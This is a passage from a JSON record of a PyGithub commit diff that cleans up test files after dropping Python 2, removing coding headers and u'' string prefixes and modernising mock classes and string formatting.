\"toggl\",\n+ \"trac\",\n+ \"trajectory\",\n+ \"travis\",\n+ \"trello\",\n+ \"twilio\",\n+ \"twitter\",\n+ \"unfuddle\",\n+ \"web\",\n+ \"weblate\",\n+ \"webtranslateit\",\n+ \"yammer\",\n+ \"youtrack\",\n+ \"zendesk\",\n+ \"zohoprojects\",\n ],\n )\n for hook in hooks:"},{"sha":"876d50fe8c3ea4749d8f547d06e055200fc5caff","filename":"tests/Branch.py","status":"modified","additions":18,"deletions":20,"changes":38,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBranch.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBranch.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FBranch.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -87,10 +85,10 @@ def testEditProtectionDismissalUsersWithUserOwnedBranch(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#update-branch-protection\",\n- u\"message\": u\"Validation Failed\",\n- u\"errors\": [\n- u\"Only organization repositories can have users and team restrictions\"\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#update-branch-protection\",\n+ \"message\": \"Validation Failed\",\n+ \"errors\": [\n+ \"Only organization repositories can have users and team restrictions\"\n ],\n },\n )\n@@ -104,10 +102,10 @@ def testEditProtectionPushRestrictionsWithUserOwnedBranch(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#update-branch-protection\",\n- u\"message\": u\"Validation Failed\",\n- u\"errors\": [\n- u\"Only organization repositories can have users and team restrictions\"\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#update-branch-protection\",\n+ \"message\": \"Validation Failed\",\n+ \"errors\": [\n+ \"Only organization repositories can have users and team restrictions\"\n ],\n },\n )\n@@ -147,8 +145,8 @@ def testRemoveProtection(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#get-branch-protection\",\n- u\"message\": u\"Branch not protected\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#get-branch-protection\",\n+ \"message\": \"Branch not protected\",\n },\n )\n \n@@ -166,8 +164,8 @@ def testRemoveRequiredStatusChecks(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch\",\n- u\"message\": u\"Required status checks not enabled\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch\",\n+ \"message\": \"Required status checks not enabled\",\n },\n )\n \n@@ -193,8 +191,8 @@ def testEditRequiredPullRequestReviewsWithTooLargeApprovingReviewCount(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch\",\n- u\"message\": u\"Invalid request.\\n\\n9 must be less than or equal to 6.\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch\",\n+ \"message\": \"Invalid request.\\n\\n9 must be less than or equal to 6.\",\n },\n )\n \n@@ -207,8 +205,8 @@ def testEditRequiredPullRequestReviewsWithUserBranchAndDismissalUsers(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch\",\n- u\"message\": u\"Dismissal restrictions are supported only for repositories owned by an organization.\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch\",\n+ \"message\": \"Dismissal restrictions are supported only for repositories owned by an organization.\",\n },\n )\n \n@@ -295,8 +293,8 @@ def testRemovePushRestrictions(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#list-team-restrictions-of-protected-branch\",\n- u\"message\": u\"Push restrictions not enabled\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#list-team-restrictions-of-protected-branch\",\n+ \"message\": \"Push restrictions not enabled\",\n },\n )\n "},{"sha":"65a75d21e85338d8a7d15688bbeed469eaf1756f","filename":"tests/BranchProtection.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBranchProtection.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBranchProtection.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FBranchProtection.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"818371b5ab3f8e3b287e09dda55480a4ad2c83c7","filename":"tests/CheckRun.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCheckRun.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCheckRun.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCheckRun.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"9dafaeb69d5fbf06172bf06bcc81ff7461e62943","filename":"tests/CheckSuite.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCheckSuite.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCheckSuite.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCheckSuite.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Raju Subramanian #"},{"sha":"beb3d4885b8abb39b0f533b638e67fb478fac71b","filename":"tests/Commit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCommit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"c51588e94135f1015d55dd84828b091e42fa423a","filename":"tests/CommitCombinedStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitCombinedStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitCombinedStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCommitCombinedStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Jannis Gebauer #"},{"sha":"8f1a58fb4178c0de6ac540876cc0da5263168ef2","filename":"tests/CommitComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCommitComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b94cf424256de155ba8b44a7b5a81a4692cf61de","filename":"tests/CommitStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCommitStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"a29eefdcf85e69f11fcd3166e72201316db0cf81","filename":"tests/ConditionalRequestUpdate.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FConditionalRequestUpdate.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FConditionalRequestUpdate.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FConditionalRequestUpdate.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #"},{"sha":"a0869d3e4d6a43b07569fd9ff90a898f29e55eb9","filename":"tests/Connection.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FConnection.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FConnection.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FConnection.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Adam Baratz #\n@@ -43,16 +41,16 @@\n \"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\n{\\\"body\\\":\\\"BODY TEXT\\\"}\\n\\n\",\n ),\n (\n- u'{\"body\":\"BODY\\xa0TEXT\"}',\n- u\"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\n{\\\"body\\\":\\\"BODY\\xa0TEXT\\\"}\\n\\n\",\n+ '{\"body\":\"BODY\\xa0TEXT\"}',\n+ \"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\n{\\\"body\\\":\\\"BODY\\xa0TEXT\\\"}\\n\\n\",\n ),\n (\n \"BODY TEXT\",\n \"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\nBODY TEXT\\n\\n\",\n ),\n (\n- u\"BODY\\xa0TEXT\",\n- u\"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\nBODY\\xa0TEXT\\n\\n\",\n+ \"BODY\\xa0TEXT\",\n+ \"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\nBODY\\xa0TEXT\\n\\n\",\n ),\n ],\n )"},{"sha":"1b3c61fba810c9f0b791fb2e56bbce50d75052bd","filename":"tests/ContentFile.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FContentFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FContentFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FContentFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b0c2fbcb4a800e2f5c4dda05415238e5ef7a04f5","filename":"tests/Deployment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDeployment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDeployment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FDeployment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"0b4a2266802318f92759749d99340dc208bf09d4","filename":"tests/DeploymentStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDeploymentStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDeploymentStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FDeploymentStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Colby Gallup #"},{"sha":"d1c3e752702a9c9441cd67426a28ea3a66b42b38","filename":"tests/Download.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDownload.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDownload.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FDownload.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b0a5ee4d9d4a1cf89daa4b840b4efd2e8d16a7ee","filename":"tests/Enterprise.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEnterprise.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEnterprise.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FEnterprise.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"ed2d01b7f8886407ec701fe4485cb3fda4edbb83","filename":"tests/Equality.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEquality.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEquality.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FEquality.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"1be98f42d4b631855b3784e2933b529d14d76d49","filename":"tests/Event.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6b9edc5ee482f23e00e5ef5533584356d942d410","filename":"tests/Exceptions.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FExceptions.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FExceptions.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FExceptions.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6a8022b582c94f83eb0cd0caa6b8f3b5da630d9a","filename":"tests/ExposeAllAttributes.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FExposeAllAttributes.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FExposeAllAttributes.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FExposeAllAttributes.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"fce12927e86852ac0dc8a6289d5bfdd071d5ba39","filename":"tests/Framework.py","status":"modified","additions":2,"deletions":4,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FFramework.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FFramework.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FFramework.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -132,7 +130,7 @@ def close(self):\n return self.__cnx.close()\n \n def __writeLine(self, line):\n- self.__file.write(str(line) + u\"\\n\")\n+ self.__file.write(str(line) + \"\\n\")\n \n \n class RecordingHttpConnection(RecordingConnection):\n@@ -314,7 +312,7 @@ def __openFile(self, mode):\n if fileName != self.__fileName:\n self.__closeReplayFileIfNeeded()\n self.__fileName = fileName\n- self.__file = io.open(self.__fileName, mode, encoding=\"utf-8\")\n+ self.__file = open(self.__fileName, mode, encoding=\"utf-8\")\n return self.__file\n \n def __closeReplayFileIfNeeded(self):"},{"sha":"a2127d3a07292ce753dac73b27fdb6e9afebbe0e","filename":"tests/Gist.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGist.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGist.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGist.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"0853fc2f6ddcff50e5a9ad667bba9452f4b3b9eb","filename":"tests/GistComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGistComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGistComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGistComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"881378fa7df621a6a891c54291e4df752ee4b1b6","filename":"tests/GitBlob.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitBlob.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitBlob.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitBlob.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"665645374fd9ddc528d2b104b2a26eca927eeb0c","filename":"tests/GitCommit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitCommit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"acb8e7cd56054834792baef1809bdc96ce758c0e","filename":"tests/GitMembership.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitMembership.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitMembership.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitMembership.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"726d9cab95a3177ee4c0e21a10817e524220c3cd","filename":"tests/GitRef.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitRef.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitRef.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitRef.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6e4cc5a8afdfb0d427afc31132c1926cdeb68d94","filename":"tests/GitRelease.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitRelease.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitRelease.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitRelease.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2015 Ed Holland #\n@@ -141,7 +139,7 @@ def testAttributes(self):\n self.assertEqual(release.author.type, \"User\")\n self.assertEqual(\n release.html_url,\n- \"https://github.com/{}/{}/releases/tag/{}\".format(user, repo_name, tag),\n+ f\"https://github.com/{user}/{repo_name}/releases/tag/{tag}\",\n )\n self.assertEqual(release.created_at, create_date)\n self.assertEqual(release.published_at, publish_date)"},{"sha":"d827282fd3385b304b6fa6d9afa1f0659e81f3a8","filename":"tests/GitTag.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitTag.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitTag.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitTag.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"69718f2ed77322800f9982f1572d9b89eab48d0f","filename":"tests/GitTree.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitTree.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitTree.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitTree.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"63ea3209955486970f2e64ff248d7acfacc37f7f","filename":"tests/GithubApp.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithubApp.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithubApp.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGithubApp.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Raju Subramanian #"},{"sha":"272f50db45fc0011193b978b55cdda588485fdde","filename":"tests/GithubIntegration.py","status":"modified","additions":26,"deletions":26,"changes":52,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithubIntegration.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithubIntegration.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGithubIntegration.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -51,7 +51,7 @@ def setUp(self):\n self.origin_time = sys.modules[\"time\"].time\n sys.modules[\"time\"].time = lambda: 1550055331.7435968\n \n- class Mock(object):\n+ class Mock:\n def __init__(self):\n self.args = tuple()\n self.kwargs = dict()\n@@ -66,8 +66,8 @@ def json(self):\n @property\n def text(self):\n return (\n- u'{\"token\": \"v1.ce63424bc55028318325caac4f4c3a5378ca0038\",'\n- u'\"expires_at\": \"2019-02-13T11:10:38Z\"}'\n+ '{\"token\": \"v1.ce63424bc55028318325caac4f4c3a5378ca0038\",'\n+ '\"expires_at\": \"2019-02-13T11:10:38Z\"}'\n )\n \n def __call__(self, *args, **kwargs):\n@@ -79,7 +79,7 @@ def __call__(self, *args, **kwargs):\n self.mock = Mock()\n sys.modules[\"requests\"].post = self.mock\n \n- class GetMock(object):\n+ class GetMock:\n def __init__(self):\n self.args = tuple()\n self.kwargs = dict()\n@@ -95,28 +95,28 @@ def json(self):\n @property\n def text(self):\n return (\n- u'{\"id\":111111,\"account\":{\"login\":\"foo\",\"id\":11111111,'\n- u'\"node_id\":\"foobar\",'\n- u'\"avatar_url\":\"https://avatars3.githubusercontent.com/u/11111111?v=4\",'\n- u'\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/foo\",'\n- u'\"html_url\":\"https://github.com/foo\",'\n- u'\"followers_url\":\"https://api.github.com/users/foo/followers\",'\n- u'\"following_url\":\"https://api.github.com/users/foo/following{/other_user}\",'\n- u'\"gists_url\":\"https://api.github.com/users/foo/gists{/gist_id}\",'\n- 